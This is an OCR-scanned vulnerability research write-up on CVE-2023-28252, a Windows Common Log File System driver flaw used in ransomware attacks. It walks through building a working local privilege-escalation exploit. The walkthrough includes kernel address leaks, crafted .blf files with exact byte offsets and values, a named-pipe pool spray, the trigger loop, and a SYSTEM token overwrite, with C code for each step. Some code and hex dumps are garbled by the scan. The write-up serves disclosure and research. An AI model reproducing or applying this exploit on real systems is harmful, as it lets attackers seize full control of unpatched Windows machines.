Analysis of CVE-2023-28252 CLFS vulnerability

Since February 2022 was reported a new ransomware that appears to be using a Windows 0-day
vulnerability, according to the research conducted by Trend Micro.

More information about this ransomware can be found at this link.

According to analysis by Kaspersky, the Nokoyawa ransomware group has used other exploits targeting
the Common Log File System (CLFS) driver since June 2022, with similar but distinct characteristics, all
linked to a single exploit developer.

In April 2023 when Microsoft released the patch, the CVE-2023-28252 as assigned.

Previously, in 2022 a similar bug in the same component was researched by us, and documented in this

blogpost

Common Log File System (CLFS) file format:

To face the analysis, it’s necessary to know the .blf file format, that is handled by the vulnerable
Common Log File System driver called CLFS.sys and that is in driver’s folder within system32.

More information about this filetype can be found in the links below:

https://www.zscaler.com/blogs/security-research/technical-analysis-windows-clfs-zero-day-vulnerability-
cve-2022-37969-part

https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-the-common-log-
file-system

https://github.com/ionescu007/clfs-docs/blob/main/README.md

https://www.coresecurity.com/core-labs/articles/understanding-cve-2022-37969-windows-clfs-Ipe

The vulnerability:

This analysis is made for Windows 11 21H2, clfs.sys version 10.0.22000.1574 although it also works on
Windows 10 21H2, Windows 10 22H2, Windows 11 22H2 and Windows server 2022.

In previous Windows versions, it’s necessary to adjust some values, otherwise we would produce a
BSOD.

Microsoft Patch Tuesday april de 2023.
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https://www.securityweek.com/windows-zero-day-exploited-in-nokoyawa-ransomware-attacks/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-28252
https://www.coresecurity.com/core-labs/articles/understanding-cve-2022-37969-windows-clfs-lpe
https://www.coresecurity.com/core-labs/articles/understanding-cve-2022-37969-windows-clfs-lpe
https://www.zscaler.com/blogs/security-research/technical-analysis-windows-clfs-zero-day-vulnerability-cve-2022-37969-part
https://www.zscaler.com/blogs/security-research/technical-analysis-windows-clfs-zero-day-vulnerability-cve-2022-37969-part
https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-the-common-log-file-system
https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-the-common-log-file-system
https://github.com/ionescu007/clfs-docs/blob/main/README.md
https://www.coresecurity.com/core-labs/articles/understanding-cve-2022-37969-windows-clfs-lpe
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28252

N > This PC > Local Disk (C)) > Windows > System32 > drivers v C £ Search drivers
Name B Date modified Type Size File version

[ cimfs.sys 3/13/2023 3:40 PM System file 158 KB 10.0.22000.1516
@ circlass.sys 2/16/2023 2:29 PM System file 80 KB 10.0.22000.653
[ Classpnp.sys 6/7/2023 11:08 AM System file 481 KB 10.0.22000.1641
[l cldflt cue 3/13/2023 340 PN fom filo S28KR 100220001814
£ clfs.sys 3/13/2023 3:40 PM System file 441 KB  10.0.22000.1574
[=[ ClipSp.sys o//7/2025 11:08 AM System file 17,089 KB 10.0.22000.T641

@ @ CmBatt.sys 2/16/2023 2:29 PM System file 68 KB 10.0.22000.653

@ @ cmimcext.sys 2/16/2023 2:29 PM System file 66 KB 10.0.22000.653
[ cng.sys 3/13/2023 3:40 PM System file 765 KB 10.0.22000.1455
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You can check the driver version as shown

When the vulnerability was published, in April 2023 | started with Esteban Kazimirow to perform the
reversing of the CLFS.sys driver, although in this case, just analyzing the patch was very difficult to
deduce where the bug was and how to trigger it, since the exploitation is very complex.

Later, a blogpost came out whose author, from a sample of a malware, showed some parts of the code
decompiled by HexRays and some information that guided where the exploitation had to be faced.

Obviously the provided info was not complete, but without this help it would have been unlikely to have
come to build the PoC and later a functional exploit.

To make it easier to understand, we will first explain how to build the PoC and then we will do the
vulnerability analysis.

This blogpost contains two sections:

Building the PoC:

1-Get the kernel addresses we need for exploitation
2-Preparing the Path to create the .blf files:

3-Create the "trigger blf" file using the CreatelLogFile() function
4-Crafting the “trigger blf” file

5-Getting the kernel address of the BASE BLOCK of trigger blf
6-Calling AddLogContainer with the handle of trigger blf
7-Preparing the spray blf files

8-Preparing the memory to perform the spray

9-Triggering the bug

Debugging:
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https://ti.qianxin.com/blog/articles/CVE-2023-28252-Analysis-of-In-the-Wild-Exploit-Sample-of-CLFS-Privilege-Escalation-Vulnerability/

1-Checking the memory spray

2-Looking at the RecordOffset[12] of trigger blf

3-Looking at the iFlushBlock value in spray blf file

4-Why does it read from BLOCK 1 SHADOW instead of BLOCK 0 CONTROL ?
5-Why the checksum is equal to zero in blf spray files ?

6-Ending the exploitation.

7-The real patch

Building the PoC:

1-Get the kernel addresses we need for exploitation

I'll create a function named InitEnvironment to obtain some necessary Kernel addresses.

Get the EPROCESS address of my process and store it in the g_EProcessAddress variable, then the
EPROCESS address of the SYSTEM process, and store it in system_EPROCESS, then the EHTREAD address
of the main thread of my process, and | store it in g_EThreadAddress and finally the address of the
PREVIOUS MODE that in this version of the PoC will not be used.

g EProcessAddress = GetObjectKernelAddress (hProcess) ;
printf ("[+] MY EPROCESSS %p\n", (void*)g EProcessAddress):;

system EPROCESS = GetObjectKernelAddress ( (HANDLE) 4) ;
printf ("[+] SYSTEM EPROCESSS %p\n", (void*) system EPROCESS) ;

g EThreadAddress = GetObjectKernelAddress (hThread) ;
printf (" [+] _ ETHREAD ADDRESS $p\n", (void*)g EThreadAddress);

g _PreviousModeAddress = g EThreadAddress + OFFSET OF PREVIOUS MODE;
printf ("[+] PREVIOUS MODE ADDRESS %p\n", (void*)g PreviousModeAddress) ;

This method is well known, the GetObjectKernelAddress function, calls NtQuerySystemiInformation
twice with the first argument SystemExtendedHandlelnformation, the first call is passed with an
incorrect size and returns error, but also returns the correct size that is used in the second call and
obtains the information of all the handles, then going through in a loop the information of each handle
and in the field Object of the correct handleinfo gets the address searched in kernel.

if (GetCurrentProcessId() == (DWORD)Qgggigigﬁg—>ﬂandles[i].UniqueProcessId &&
(SIZE T)Object == (SIZE T)handleInfo->Handles[1].HandleValue)

{

kernelAddress = (SIZEiT)Qggg&ggg£9—>Handles[%].Object;

bFind = TRUE;

break;

}
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| also need the kernel addresses of the following functions exported by CLFS.sys:
e ClfsEarlierLsn
¢ ClfsMgmtDeregisterManagedClient
And the exported functions from NTOSKRNL.exe
* RtiClearBit/PoFxProcessorNotification
¢ SeSetAccessStateGenericMapping

To get these addresses uses a similar method that is used to get the kernel base of both modules, by
calling NtQuerySystemInformation twice, but in this case the first argument will be
SYSTEM_INFORMATION_CLASS (in the PoC we use the FindKernelModulesBase function for this
purpose).

// Find CLFS functions

fnClfsk

fnClf:

printf ("[+] Kernel ClfskEarlierLsn -----— > %p", (void*)fnClfskarlierLsn);

printf ("[+] Kernel ClfsMgmtDeregisterManagedClient->%p”, (void*)fnClfsMgmtDeregisterManagedClient) ;

Then it loads CLFS.sys and NTOSKRNL.exe as normal modules in user mode by calling to LoadLibrary,
obtains the addresses in user mode with GetProcAddress and then subtracts the imagebase from each
one, which obtains the offset of the function and finally adds each offset to the corresponding kernel
bases and thereby obtains the kernel addresses of all the necessary functions.

//Find NTOSKRNL functions

printf ("[+] Kernel RtlClearBit ---——-—--—--—--—--—-———- > %p",
printf ("[+] Kernel SeSetAcc ateGenericMapping-> %p", tate?oncricMappinq);
printf (" [+] Kernel PoFxProcessorNotification -----— > %p", (void*)fnPoFxProcesso rNotification);

2-Preparing the Path to create the .blf files:

| create a function called createlnitialTriggerBIfFile which will generate and write a .blf file.

The path that is used as an argument in the CreateLogFile is different from a normal path, for example to
open the file 1280.blf located in the C:\Users\Public folder, we must set the path
LOG:C:\Users\Public\1280. This will be saved in the stored_name_CreatelLog variable.
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| do this by using wsprintfW() since stored_env stores the path C:\Users\Public, previously obtained
from the environment variables. To this string | will prepend the string LOG: and a random name at the
end, without the .blf extension.

//example= LOG:C:\Users\Public\1280

wsprintfW(stored_env_log, L"LOG:%s", stored_env);

This will be the path to my initial file that I’ll call "trigger blf". Of course, | also must save the normal
path to the same file without the LOG: in front and with the BLF extension to open it and modify it with
CreateFile(), WriteFlle() as any other file, this path will be, for example: C:\Users\Public\1280.blf, and it
will be stored in the stored_name_fopen variable.

//example= C:\Users\Public\1280.blf

wsprintfW(stored_name_fopen, L"%s\\%d.blf", stored_env, random_part);

Of course, both paths correspond to the same file, and | must use one or the other as appropriate.

3-Create the "trigger blf" file using the CreatelLogFile() function.

The CreatelogFile function fulfills a function quite similar to CreateFile() (creates new files or open

existing files and get their handle), even some arguments are similar, but CreateLogFile() only works with
blf files.

In addition, when it opens an existing file, it verifies that the format is ok, even if each block has a
checksum and if this is not correct it will return an error.

I’ll create 2 kinds of BLF files:

1. The Trigger blf
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2. The Spray blf

Both are blf files but modified in a different way.

CLFSUSER API HANDLE CreateLogFile (

[in] LPCWSTR pszLogFileName,

[in] ACCESS MASK fDesiredAccess,

[in] DWORD dwsShareMode,

[in, optional] LPSECURITY ATTRIBUTES psaLogFile,

[in] ULONG fCreateDisposition,
[in] ULONG fFlagsAndAttributes

)

In this way the PoC first creates the "trigger blf" file, using CreateLogFile, with the path for example:
LOG:C:\Users\Public\1280 that | have set up before, and was stored in the stored_name_CreatelLog
variable.

The fifth argument fCreateDisposition, as in CreateFileA(), can take the following values:

#define CREATE NEW
#define CREATE ALWAYS
#define OPEN EXISTING
#define OPEN ALWAYS
#define TRUNCATE EXISTING

=W N

(€]

In this case I'll use the OPEN_ALWAYS argument, so the file will be created if it does not exist and if it
exists it will be opened. Since the file doesn't exist yet, it will be created with a random name.

logFile = CreatelLogFile(stored_name_CreateLog, GENERIC_READ | GENERIC_WRITE, 1, 0, 4, 0);

CreatelLogFile() will create our "trigger blf" file with its 6 blocks and their corresponding checksums and
will return the handle that will be stored in the logFile variable.
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BLF (Base Log File) Format

0x0000

Control Block

0x0400

Control Block Shadow

0x0800

Base Block

0x8200

Base Block Shadow

0xFCO00

Truncate Block

O0xFEOQ

Truncate Block Shadow

Each block will have from the offset showed at left column, a header whose size is 0x70 bytes.

So, for example, the header of the CONTROL BLOCK goes from offset 0x0 to 0x70.

5] MylLog.blf
Offset (h)

00000000
00000010
00000020
00000030
00000040
00000050
00000060
00000070
00000080
00000090
000000R0
000000BO
000000C0
000000D0
000000EO

00

15
01
00
00
00
00
00
0l
01
00
00
00
00
00
00

01 02 03

00 01 00
00 00 00
00 00 00
00 00 00
00 00 00
00 00 00
00 00 00
00 00 00
00 00 00
00 00 00
00 00 00
00 00 00
00 00 00
00 00 00
04 00 00

04

02
00
FF
00
00
00
00
00
00
00
0o
00
00
00
00

05
FF

04

oe

02
00

0o
00
00
00
00
00
00
00
00
00
00
00

07
FF

08 09 OA
00 00 00
00 00 00
70 00 00
00 00 00
00 00 00
00 00 Q0
F8 03 00
1C 5F 00
00 00 00
00 00 00
00 00 00
06 00 00
00 04 Q0
00 00 00
01 00 00

0B

OC OD OE OF Decoded text

4B 82 4C C6 .tvernsnonass K,LE
FF FF FF FF  .ccuisvsnasanss yyvy
00 00 00 00 ....¥¥¥¥P...cv...
00 00 00 00 ..,.. . .
o0 o0 00 0o .. HEADER.
00 00 00 00 suivrenncnnnnnnnns
00 00 90 00 weessoss Bevennnn
FS C1 FS Cl  tuiesenans _«+«0AOA
00 00 00 00 .suiesssssasnnasasns
00 00 00 00 sevrvennsnnnnnnans
00 00 00 00 .uivrevnsannnnsns
00 00 00 00 .uieiessssnsasssns
00 00 00 00 .uivrevncnnnnnnnns
00 00 00 00 suivrevsssnnnnsns
00 00 00 00 .uvrevssnnnnnnsns

All headers of all blocks have the same structure called _CLFS_LOG_BLOCK_HEADER.

This is the header structure:
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Offset

Size

struct _CLFS_LOG_BLOCK_HEADER
{

0oe0|eeel| UCHAR MajorVersion;
0001|0001 UCHAR MinorVersion;
0062|0001 UCHAR Usn;
0003|0001 CLFS_CLIENT_ID ClientId;
0004|0002 USHORT TotalSectorCount;
0006|0002 USHORT ValidSectorCount;
POl Aon A 111 W
00eC|0ee4 ULONG Checksum;
7 ULOUNG Flags,

0018|0008 CLFS_LSN CurrentlLsn;
0020|0008 CLFS_LSN NextLsn;
0028|0040 ULONG RecordOffsets[16];
00680004 ULONG SignaturesOffset;

0070| };

At offset 0xC of the header | can find the checksum, so as the CONTROL BLOCK starts at offset 0, the
checksum will be in the offset OxC of the file and so each block will have its checksum at OxC from the

beginning of its block.

[ MyLOg.DIT

Offset(h) 00 01 02
00000000 15 00 01
00000010 01 0O 0O
00000020 00 00 00
00000030 00 00 00
00000040 00 00 00
00000050 00 00 00
00000060 00 0O 00
00000070 01 00 00
00000080 01 00 00
00000090 00 00 00
000000AO0 00 0O 00
000000BO 00 00 00
000000C0O 00 00 00
000000D0O 00 00 00
00000CEQ0 00 04 00
000000F0O 00 00 00
00000100 02 00 00
00000110 00 7& 00
00000120 00 00 00
00000130 04 00 00
00000140 00 02 00
00000150 00 0O 00
AAANATIEA  AA Aa An
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04

02 o

00
FF
00

00 ¢
00 ¢
00 ©
00 C
00 ¢
00 ¢
00 ¢
00 ¢
00 C
00 ¢
00 C
00

00

00
00
00
00

00 o«

nan

05

FF

HOONOODRMRODOOOOOOOO OO

OO O WO O

06 07 08 09 OA OB OC OD OE OF Decoded text

02 00 00 00 00 Of 4B 82 4C céf ..envenn... K, LE
00 00 00 00 00 OO™FF I I .. e . TYVY
FF FF 70 00 00 00 00 00 00 00 I 75 s < PP
00 00 00 00 00 00 00 00 00 00 A
00 00 00 00 00 00 00 00 00 00 e
00 00 00 00 00 00 00 00 00 00 e
00 00 F8 03 00 00 00 00 00 00 P S
00 00 1C 5F 00 00 F5 C1 F5 C1 .. ..0A8A
00 00 00 00 00 00 00 00 00 00 wvseessnnncnnnns
00 00 00 00 00 00 00 00 00 00 wvesessnnncsnnses
00 00 00 00 00 00 00 00 00 00 .. LIECK-Cl-
00 00 06 00 00 00 00 00 00 00 CHECKSUM
00 00 00 04 00 00 00 00 00 00  eveeeeennnnnnnns
00 00 00 00 00 00 00 00 00 00 wvseessnnncnnnns
00 00 01 00 00 00 00 00 00 00 wvesessnnnesnnsns
00 00 00 72 00 00 00 08 00 00 +veeeeeoeZonannn
00 00 00 00 00 00 00 00 00 00 +veeesonnncnnnns
00 00 03 00 00 00 00 00 00 00 Zuuupeneennonns
00 00 00 02 00 00 00 FC 00 00 wveeenonnnesaiion
00 00 00 00 00 00 00 00 00 00 +veeesnnnncnnnns
00 00 05 00 00 00 00 00 00 00 .+.veuBevenenennn
00 00 00 00 00 00 00 00 00 00 +veeesonnncnnnns
s la N s s T s o s la N s o I a Ta e s Ta I s T



4-Crafting the “trigger blf” file:

To modify the trigger blf file, | must open it as a normal file either with CreateFileA or with fopen and
then modify it with WriteFile or fwrite respectively, | perform this at the beginning of the fun_prepare
function of the PoC.

Remember that the normal path is stored in the stored_name_fopen variable, so | use it to open the file
with wfopen_s (which is a variant of fopen that supports Unicode strings).

The file is modified in the craftTriggerBIfFile function called from fun_prepare.

void fun prepare() {

_wfopen_s(&pfile, stored name fopen, L"rb+");

if (pfile == 0) {
printf ("\nCant't open file, error %x\n", GetLastError());
exit(1);

}
craftTriggerBlfFile (pfile):

Then | call fseek to point to the offset to be changed and then with fwrite the file is modified.

TRIGGER BLF FILE MODIFICATIONS

offset 0x858 to 0x369
offset 0x1dd0 to 0x15a0
offset 0xldd4 to 0x1570
offset 0xldeO to O0xClFDF008
offset 0x20b8 to 0x1888
offset 0x20bc to 0x1858
offset 0x20c8 to 0xClFDF008
offset 0x20cec to 0x30
offset 0x20e0 to 0x05000000
offset 0Oxlded to 0x30
offset 0x1df8 to 0x05000000
offset 0x8258 to 0x369
offset 0x97d0 to 0x15a0
offset 0x97d4 to 0x1570
offset 0x97e0 to O0xClFDF008

The changes to be made to the "trigger bIf" file are as follows:
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After making these changes, the FixCRCFile is called to calculate the new checksum and fix the
checksums of the first 4 blocks. The next two blocks do not have any changes, so it is not necessary to
recalculate their checksums.

SetFilePointer (hFile, Oxe, NULL, FILE BEGIN);
WriteFile(hFile, &CRC, 4, &numread, NULL);

SetFilePointer (hFile, 0x40c, NULL, FILE BEGIN);
WriteFile (hFile, &CRC1, 4, &numread, NULL);

SetFilePointer (hFile, 0x80c, NULL, FILE BEGIN);
WriteFile(hFile, &CRC2, 4, &numread, NULL) ;7

SetFilePointer (hF'ile, 0x820c, NULL, FILE BEGIN) ;
WriteFile(hFile, &CRC3, 4, &numread, NULL);

5-Getting the kernel address of the BASE BLOCK of trigger blf:

The CLFS.sys driver reads the six blocks of the file, and to store their content makes an allocation in the
Kernel pool.

BLF (Base Log File) Format

0x0000
Control Block
0x0400
Control Block Shadow
0x0800
Base Block
0x8200
Base Block Shadow
0xFCO00
Truncate Block
O0xFE0O
Truncate Block Shadow

There’s a very important structure of size 0x90 that in the previous blogpost of CVE-2022-37969, through
reversing | found some fields and called it pool_0x90. After much more reversing, now | know that its
real name is m_rgBlocks and as the controller goes allocating memory to copy from the file the contents
of each block, there it saves the size of each block, the start offset, and the kernel address where it was
stored.
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https://www.coresecurity.com/core-labs/articles/understanding-cve-2022-37969-windows-clfs-lpe

struct m rgBlocks

{

CLFS METADATA BLOCK blockO;
CLFS METADATA BLOCK blockl;
CLFS METADATA BLOCK block2;
CLFS METADATA BLOCK block3;
CLFS METADATA BLOCK blocki4;
CLFS METADATA BLOCK blockb;

b

It has six CLFS_METADATA_BLOCK that correspond to each block by its number.

Each structure CLFS_METADATA_BLOCK is 0x18 bytes long. (0x18*6=0x90)

struct CLFS METADATA BLOCK
{

/*0x0*/ PUCHAR pblmage; //es la direccibn
donde se allocd el bloque

/*0x8*%/ ULONG cbImage; // es el size del
bloque

/*0xc*/ ULONG cbOffset; // es el offset donde

comienza el bloque

/*0x10%/ CLFS METADATA BLOCK TYPE eBlockType; // es el numero de
bloque

bi

In offset 0 there is a union, but at least in this exploit only the pblmage field is used, so simplifying it
would be:

The allocation of that structure can be done from two different places of CLFS.sys driver, according to the
creation of a new file or if an existing one is opened. In the case of when a new file is created, the driver
allocates the 0x90 bytes from CClfsBaseFilePersisted::Createlmage+28A, while in the case of an existing
file it allocates from CClfsBaseFilePersisted: Readimage+6E.

After that, I'll get the start address of block 2 that corresponds to the trigger blf file, called BASE BLOCK that begins
at offset 0x800 and its length is 0x7a00.
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BLF (Base Log File) Format

0x0000
Control Block
0x0400
Control Block Shadow
0x0800
Base Block
VADLUV
Base Block Shadow
O0xFCO00
Truncate Block
OxFEQOQ
Truncate Block Shadow

Inside the fun_prepare function below this address will be found in kernel using this piece of the code.

CLFS kernelAddrArray = getBigPoollInfol():;

hlogfile = CreatelogFile (stored name Createlog, 0xC0010000,
FILE SHARE READ, 0, 3, 0);

if (hlogfile == INVALID_HANDLE_VALUE) {
printf (" [+] Can't open hlog file\n"L;
exit (0);

}
CLFS kernelAddrArray = getBigPoollInfol();

First, the getBigPoollnfo function finds all the allocations in the pool that have the "Clfs" tag and a size of
0x7a00, then stores them in an array.

After that it opens again the trigger blf file previously modified by using CreateLogFile with the
OPEN_EXISTING argument, so it opens an existing file, this will perform the allocation of its BASE BLOCK.

When getBigPoolinfo is called again, there’ll be one new “Clfs” pool of size 0x7a00, and its address is
retrieved by calling NtQuerySysteminformation twice.

The address of the BASE BLOCK of trigger blf file is stored in the CLFS_kernelAddrArray variable.
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printf ("[+] Pool CLFS kernel address: %$p\n", (void*)CLFS kernelAddrArray) ;

Note that if the modified trigger blf file does not have the correct checksum, the CreateLogFile()
function will fail.

6-Calling AddLogContainer with the handle of trigger blf:

The last part of the fun_prepare function, calls the AddLogContainer api using the handle of the trigger
bif file.

LONGLONG pcbContainer = 512;
WCHAR pwszContainerPath[768] = { 0 };
wsprintfW (pwszContainerPath, stored env containerfname) ;

AddLogContainer (hlogfile, (PULONGLONG)&pcbContainer, pwszContainerPath, 0);

7-Preparing the spray blf files:

In the last function of the PoC called to_trigger a second type of blf file will be created,
I'll name it spray blf.

This kind of file will be used to fill a memory space (spray), 10 equals of this kind are needed, but initially
only one is created.

srand((unsigned int)time(NULL));
random_part2 = rand();

stored_log_arrays[0] = logFileNames(0);
stored_container_arrays[0] = containerNames(0);
stored_fopen_arrays[0] = fileNames(0);

logFile2 = CreatelLogFile(stored_log_arrays[0], GENERIC_READ | GENERIC_WRITE, 1, ©, OPEN_ALWAYS, ©):

Three arrays will be created to store the random names of this files:
stored_log_arrays: store ten new random names of .blf files that will be used with CreateLogFile.
stored_container_arrays: store random names to create ten new container files.

stored_fopen_arrays: store the log files names of the first array (stored_log_arrays variable), but with
their normal path (without the “LOG:” string) and with the .blf extension.
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for (int i = 1; 1 < 10; i++)

{
stored log arrays[i] = logFileNames (i) ;
stored container arrays[i] = containerNames (i) ;
stored fopen arrays[i] = fileNames(1i);

int resul=CopyFileW(fileNames (0), fileNames (i), TRUE);

if (resul == 0) {
DWORD error = GetlastError();

printf ("copy error: 0x%x\n", (unsigned int)error) ;
exit(-1);

fun trigger (stored log arrays[i], stored fopen arrays[i]);

On each iteration the blf file is copied using CopyFileW, the names that are stored in the arrays are
assigned.

The fun_trigger function calls craftSprayBIfFile where modifications are made to each file and FixCRCFile
will fix the CRCs.

int fun trigger (WCHAR* logfilename, WCHAR* fopenfilename) {

int error flag = 0/
~wfopen s(&pfile2, fopenfilename, L"r+");

if (pfile2 == 0) {
printf("Cant't open file, error $x\n", GetlLastError());
exit (1) ;

}

//printf ("to Fix\n)");
craftSprayBlfFile (pfile2);
fclose (pfile2);

éggggig&gg:FiXCRCFile( fopenfilename) ;
return error flag;

Summarizing, I've created 10 similar files (spray blf) with random names with the following
modifications:
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SPRAY BLF FILES MODIFICATIONS

offset 0x7fe to 0x130
offset 0x6 to Ox1
offset 0x70 to 2
offset 0x84 to
offset 0x88 to
offset O0x8A to
offset 0x90 to
offset 0x94 to
offset 0x9c to
offset 0x484 to 2

offset 0x488 to O

offset O0x48A to 0x13

offset 0x1b98 to 0x65c8

offset 0x9598 to 0x65c8

coplies the first 0x400 bytes from offset 0 to offset 0x400.

N WERE &N

The last change is to copy the entire block 0 (CONTROL BLOCK) to block 1 (CONTROL BLOCK SHADOW)

BLF (Base Log File) Format
0x0000
Control Block
0x0400
Control Block Shadow
0x0800 |
Base Block
0x8200 |
Base Block Shadow
0xFCO0O0 |
Truncate Block
OxFEOQOO
Truncate Block Shadow

The effect of these changes, plus those made to the trigger blf file, will be explained later in the
debugging chapter.

Some of these changes are those that produce vulnerability, while others are only necessary to bypass
the driver checks.

At this point the files are already created and modified, ready to perform the spray, then when they are
opened with CreateLogFile, they will be located in the memory area that we want, as will show later.
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8-Preparing the memory to perform the spray

UINT64 arrayCLFSkernellAddress([12] = { 0 };

ess[0] = CLFS_kernelAddrArray + 0x30;

ess[1l] = CLFS_kernelAddrArray + 0x30;

ess[2] = CLFS_kernelAddrArray + 0x30;
ddress([3] = CLFS_kernelAddrArray + 0x30;
ess[4] = CLF5_kernelAddrArray + 0x30;

ess[5]) = CLFS kernelAddrArray + 0x30;

ess[6] = CLFS_kernelAddrArray + 0x30;

ess[7] CLFS_kernelAddrArray + 0x30;

ess[8] = CLFS_kernelAddrArray + 0x30;

ess[9] = CLFS_kernelAddrArray + 0x30;
ddress[10] =CLFS_kernelAddrArray + 0x30;
nellAddress[11] =CLF5_kernelAddrArray + 0x30;

In the to_trigger function, an array of 12 elements is created, containing the address of the BASE BLOCK

of trigger blf file plus 0x30.

Then, in the fun_pipeSpray function, the memory is filled with a spray of pipes, inside there’s a loop that
calls to CreatePipe and creates the number of pipes that is passed as a first argument, the second
argument is an array that will store the handles of all the pipes created.

fun _pipeSpray(0x5000, handles bufferl);

//call

ray

to fun pipeSp:

with 0x5000

(PHANDLE) &te

ELPH££E£[i“deX + 1], 0, 0x25c0)

Within a loop, it calls to CreatePipe creating read-write pipes.

fun pipeSpray(0x4000, handles buffer2);//cal

ray with 0x4000

value

In this way first 0x5000 pipes will be created and then call again to create other 0x4000 pipes.

Then uses WriteFile to write to the first 5000 pipes, the array recently created with the addresses of

BASE BLOCK + 0x30 of the trigger blf file.
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for (int j = 0; j < 0x5000; j++)
{
if (!WriteFile ((HANDLE) *resulpipe, arrayCLFSkernelAddress, 0x60,

&byteswritten, 0))
{

do

{
CloseHandle ( (HANDLE) *pipeA) ;
CloseHandle ((HANDLE)pipen[1])/
pipes += 2;
—-—const 0x5000;

} while (const 0x5000) ;

exit (1);

}
resulpipe += 2;

Now already has a compact block created in memory, it will release 0x667 pipes from the number
0x2000 and up to the 0x2667, since in memory the pipes are not in the same order as were created,
what will happen is that there will be free spaces in this memory block.

UINT64 * pipeA 2 = pipeA + 0x2000;
UINT64 const 0Ox667 = 0x667;

do

{
CloseHandle ( (HANDLE) *pipeA 2);
CloseHandle ( (HANDLE) pipeA 2[1]);
pipeA 2 += 2;
—-—const 0x667;

} while (const 0x667);

Note that the allocations of the pipes have as user size of 0x90 bytes, so when be released we’ll have

It frees the memory spaces of size 0x90 between the memory full of pipes.

Then it loops to call CreateLogFile with the 10 spray blf files.

When CreateLogFile is called to open existing files, the allocation of 0x90 bytes is performed for the
m_rgBlocks one for each spray blf file, so these allocations will occupy gaps that were left when
releasing the pipes since they are the same size.
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do

-—const 10;

//wprintf ((LPWSTR)L"\n[+] Names again = %ls\n",
stored log arrays[const 10]);

logFile = CreateLquile(storedilogiarrays[constilo], GENERIC READ |
GENERIC WRITE , FILE SHARE READ, 0, OPEN ALWAYS, 0);

if (logFile == INVALID HANDLE VALUE) {
DWORD error = GetlastError():

printf ("Could not create LOGfile3, error: 0x%x\n",

(unsigned int)error);

exit (-1);

}

//printf ("logFile %x\n", logFile);
store handles[z] = logFile;

ztti

} while (const 10);

Then repeat the process of writing in the final 0x4000 pipes the array that has the address of BASE
BLOCK +0x30 of trigger blf.

O-Triggering the bug

All these manipulations creates a controlled memory space, | will show you how it is when is being
debugged, but the idea is that the m_rgBlocks of each spray blf file occupy the 0x90 byte gaps that were
released.

Then already in the final part, the bug is triggered within a while( 1) using a call to AddLogContainer to
the spray blf files.

printf("[+] Kernel ClfsEarlierLsn --—--- > %p", (void*)fnClfsEarlierLsn);

printf("[+] Kernel ClfsMgmtDeregisterManagedClient->%p”, (void*) fnClfsMgmtDeregisterManagedClient) ;
printf (" [+] Kernel RtlClearBit --—-—---———-—————-———- > %p", (void*)fnRtlClearBit);

printf (" [+] Kernel SeSetAccessStateGenericMapping-> %p", (woid*)fnSeSetAc tateGenericMapping) ;

printf (" [+] Kernel PoFxProcessorNotification ----- > %p", (void*)fnPoFxProc

Within this while the bug is triggered:
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while (1)

_int64 v57 = (_int64)temp_chunk;
printf("TRY %d\n", contador_3);

resul = AddLogContainer(store_handles[contador_3], (PULONGLONG)&pcbContainer2, stored_container_arrays[contador_3], 8);

dest3 = 9x100000007;

value2 = @x4141414141410054;

memset((LPVOID)dest3,

0, OxFf8);

*(UINT6Ux)dest2 = system. EPROCESS high:
*(UINT6U*)dest3 = valued;

*(UINT6U*)Bx50000U8 = Bx5000000;

*(UINT64*)0x5000000 = 0x5001000;

*(UINT6U*)Bx500810080 = fnClfsEarlierlsn
*(UINTGU*)Bx5001008 = fnPoFxProcessorotification,
#(UINT64*)0x50081010 = fnClfsEarlierlsn;
*(UINT64*)0x5001018 = fnClfsEarlierlsn
*(UINT6U*)Bx5001020 = fnClfsEarlierlsn:
*(UINT64*)Bx5001028 = fnClfsEarlierlsn;
#(UINT6U*)Bx5801030 = fnClfsEarlierl.sn.
#(UINT6U*)Ox5001038 = fnClfsEarlierlsn;
*(UINT6U*)Bx5001048 = fnClfsEarlierlsn;
*(UINT64*)0x5008068 = fnClfsMgntDeregisterManagedClient;
*(UINT6U*)Bx50000U8 = Px5000U80;

*(UINT6U*)Bx5008400 = Px5001300

*(UINT6U*)Bx58804U8 = para PipeAttributeobilnkernel + 0x18;
#(UINT6U»)Ox5001328 = fnClfsEarlierlsn

~(UINT6U*)Ox5001308 = fnSeSetAccessStateGensricMapping,
CloseHandle(logFilel;
logFile = CreatelogFile(stored pame Createlog, GENERIC_READ | GENERIC_WRITE | DELETE, FILE SHARE_READ, @, OPEN_EXISTING, 0)

int const_8x5a = Bx5a;

This while will exit when it finds the System token, using the NtFsControlFile function that will read the
pipes attributes.

NtFsControlFile (hPipeWrite,0,0,0, &status block,0x110038, &const 0x5a,2,temp chunk, 0x2000) ;

//printf ("pos token: %x\n", pos ken) ;

System_token_value2 = * (UINT64*) ( (UINT64) po:
printf ("System token value: %p\n", System

_value2);

if (*(UINT64*) (pos_Ltoken + (UINT64)Lemp chunk) >= 0x8181818181818181) |

printf ("SYSTEM TOKEN CAPTURED\n");

break;
}
else {

printf ("TRYING AGAIN\n") ;
}

contador 3++;

Then using CreatelLogFile, again overwrites the token of our process with the recently found System
Token and in this way we achieve the elevation of privilege.

* (UINT64*) OxFFFFFFFF = * (UINT64*) (pos_token + (UINT64)temp chunk);// system toker

content

* (UINT64*)0x100000007 = System token value;

*(UINT64*)0x5000448 = g EProcessAddress + Loken offsel - 8;// 11 wire addre

CreateLogFile (stored name CreateLog,GENERIC READ|GENERIC WRITE|DELETE,FILE SHARE READ,0,3,0);

Then restore some values, close the handles of the pipes and the blf files, and run a Notepad as System
to verify that we have raised correctly.
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Note the blf files created on the PUBLIC folder. Remember that if you want to do another try, you must

Qptions  View Process

W fontdrvhost exe
i icsrss.exe
# [winlagon.exe
i ffontdrvhost exe
W |dwm.exe
T MicroschEdgeUpdate sxe
. Sxplorer.exa
@ SecurityHealthSystray.exe
mendsd exe
@ OneDrive exe
i omd.exe
i conhost exs
Ecmd.exe
il conhost.exe
i cifs_eop.exe

A new version of Notepad is available.

Find Users Help

C:’U Frivate Bytes
1420K

0.76 1900K
2620K

3104 K

7.60 371848 K
1,852K

3.80 125,664 K
1748 K

<001 24,356 K
<001 13148 K
2696 K

6256 K

2796 K

6320K

7852K

Viorking Set
3 6BEK
5,788 K

12,908 K
T 044 K
482,352 K
4348K
277 272K
10,244 K
